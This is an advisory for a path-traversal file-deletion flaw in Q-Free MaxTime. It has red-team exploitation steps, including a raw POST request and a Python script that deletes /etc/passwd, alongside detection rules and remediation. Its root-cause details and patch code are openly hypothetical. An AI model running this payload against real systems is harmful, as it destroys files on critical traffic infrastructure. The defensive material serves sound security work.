CVE-2025-26355

Executive Summary

CVE-2025-26355 is a path traversal vulnerability (CWE-35) discovered in Q-Free MaxTime, a traffic management and tolling system. The flaw resides in the maxtime/api/database/database.lua endpoint, allowing an authenticated remote attacker to delete arbitrary sensitive files on the server by crafting malicious HTTP requests. With a CVSS score of 6.5 (Medium), this vulnerability poses a significant risk to the integrity of the affected system, potentially leading to denial of service, configuration loss, or system compromise. No public proof-of-concept (PoC) or patch details are currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the critical nature of the affected system (traffic infrastructure), immediate mitigation is advised.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs valid authentication.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: High (I:H) – Arbitrary file deletion possible.
• Availability Impact: None (A:N) – No direct denial of service, but deletion of critical files could lead to service disruption.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the potential for destructive file deletion in a critical infrastructure system elevates the risk.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the Lua-based API endpoint maxtime/api/database/database.lua. The endpoint likely accepts a parameter (e.g., file, path, or name) that is used to construct a file path for deletion without proper sanitization. An authenticated attacker can inject ../ sequences to escape the intended directory and delete files anywhere on the filesystem that the web server process has write/delete permissions.

Root Cause: The application fails to validate or sanitize user-supplied input used in file path operations. Specifically, the database.lua script likely uses a function like os.remove() or lfs.delete() with a concatenated path derived from user input.

Attack Flow:

1. Attacker authenticates to the MaxTime web interface (e.g., default credentials or obtained via other means).
2. Attacker crafts an HTTP request to /maxtime/api/database/database.lua with a parameter containing path traversal sequences, e.g., file=../../../../etc/passwd.
3. The server processes the request and deletes the targeted file.
4. Repeated requests can delete multiple files, potentially crippling the system.

Impact: Deletion of configuration files, database files, binaries, or system files can lead to service outage, data loss, or complete system compromise if critical security mechanisms are removed.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on common fixes.

Vulnerable Code (Lua):

-- Vulnerable: Direct use of user input in file path
local file_to_delete = params.file
os.remove("/var/www/maxtime/data/" .. file_to_delete)

Patched Code (Hypothetical):

-- Patched: Validate and sanitize input
local function sanitize_path(input)
    -- Remove any path traversal sequences
    input = input:gsub("%.%.%/?", "")
    -- Ensure only allowed characters
    if not input:match("^[a-zA-Z0-9_%-%.]+$") then
        return nil
    end
    return input
end

local safe_file = sanitize_path(params.file)
if safe_file then
    local full_path = "/var/www/maxtime/data/" .. safe_file
    -- Additional check: ensure file exists and is within allowed directory
    if full_path:find("^/var/www/maxtime/data/") then
        os.remove(full_path)
    end
end

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Valid credentials for the MaxTime web interface.
• Network access to the target server.

Exploitation Steps:

1. Authenticate to the MaxTime web interface (e.g., https://target/login).
2. Capture a valid session cookie (e.g., via browser developer tools or Burp Suite).
3. Send a crafted HTTP request to delete a sensitive file:

   POST /maxtime/api/database/database.lua HTTP/1.1
   Host: target
   Cookie: session=valid_session_cookie
   Content-Type: application/x-www-form-urlencoded
   
   file=../../../../etc/passwd
   

4. Verify deletion by attempting to access the file or checking system logs.

Automated Exploit (Python):

import requests

target = "https://target"
session = requests.Session()
# Authenticate first (example with credentials)
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/login", data=login_data)

# Exploit path traversal
payload = {"file": "../../../../etc/passwd"}
response = session.post(f"{target}/maxtime/api/database/database.lua", data=payload)
if response.status_code == 200:
    print("File deletion attempted. Check target.")
else:
    print(f"Failed: {response.status_code}")

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /maxtime/api/database/database.lua for unusual parameters containing ../ or ..\\.
• Alert on multiple deletion requests in a short time window.
• Use file integrity monitoring (FIM) to detect unexpected deletions of critical files.

Honeypot:

• Deploy a decoy file (e.g., /var/www/maxtime/data/honeypot.txt) and monitor for access or deletion.

Log Analysis:

• Check web server logs for requests with path traversal patterns:

  grep -E '\.\./' /var/log/apache2/access.log
  

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /maxtime/api/database/database.lua containing ../ or ..\\ in parameters.
  • Unusual POST requests with file, path, or name parameters.
• File System:
  • Unexpected deletion of files in /etc/, /var/www/, or application data directories.
  • Missing configuration files (e.g., database.conf, config.lua).
• Logs:
  • Web server logs showing 200 responses to path traversal attempts.
  • System logs (e.g., auth.log) showing successful authentication followed by file deletion events.

Detection Engineering

YARA Rule

rule CVE_2025_26355_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Q-Free MaxTime database.lua"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-26355"
    strings:
        $traversal = /\.\.\// nocase
        $endpoint = "maxtime/api/database/database.lua" nocase
    condition:
        $endpoint and $traversal
}

Sigma Rule

title: CVE-2025-26355 Path Traversal in Q-Free MaxTime
id: 8a3f7c2e-1b4d-4e9f-8c6a-5d7b2e1f3a4c
status: experimental
description: Detects HTTP requests with path traversal patterns to the vulnerable endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - 'maxtime/api/database/database.lua'
        cs-uri-query|contains|all:
            - '..'
            - '/'
    condition: selection
falsepositives:
    - Legitimate use of dots in filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26355 Q-Free MaxTime Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"maxtime/api/database/database.lua"; http_uri; content:".."; http_client_body; pcre:"/\.\.\//"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not required: Block access to /maxtime/api/database/database.lua via web server configuration (e.g., Apache .htaccess or Nginx location block).
2. Restrict authentication to the MaxTime interface: Use strong passwords, multi-factor authentication (MFA), and limit access to trusted IP addresses.
3. Apply input validation at the web server level: Use mod_security or similar WAF rules to block path traversal patterns.

Long-term Fix:

• Vendor Patch: Await an official patch from Q-Free. Contact their support for a hotfix.
• Code Fix: If source code is accessible, implement proper input sanitization and use a whitelist of allowed files/directories.
• Upgrade: When a patched version becomes available, upgrade immediately.

Compensating Controls:

• File Integrity Monitoring (FIM): Deploy tools like Tripwire, AIDE, or OSSEC to alert on unauthorized file deletions.
• Least Privilege: Run the web server with minimal filesystem permissions (e.g., only write to specific directories).
• Network Segmentation: Isolate the MaxTime system from untrusted networks.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert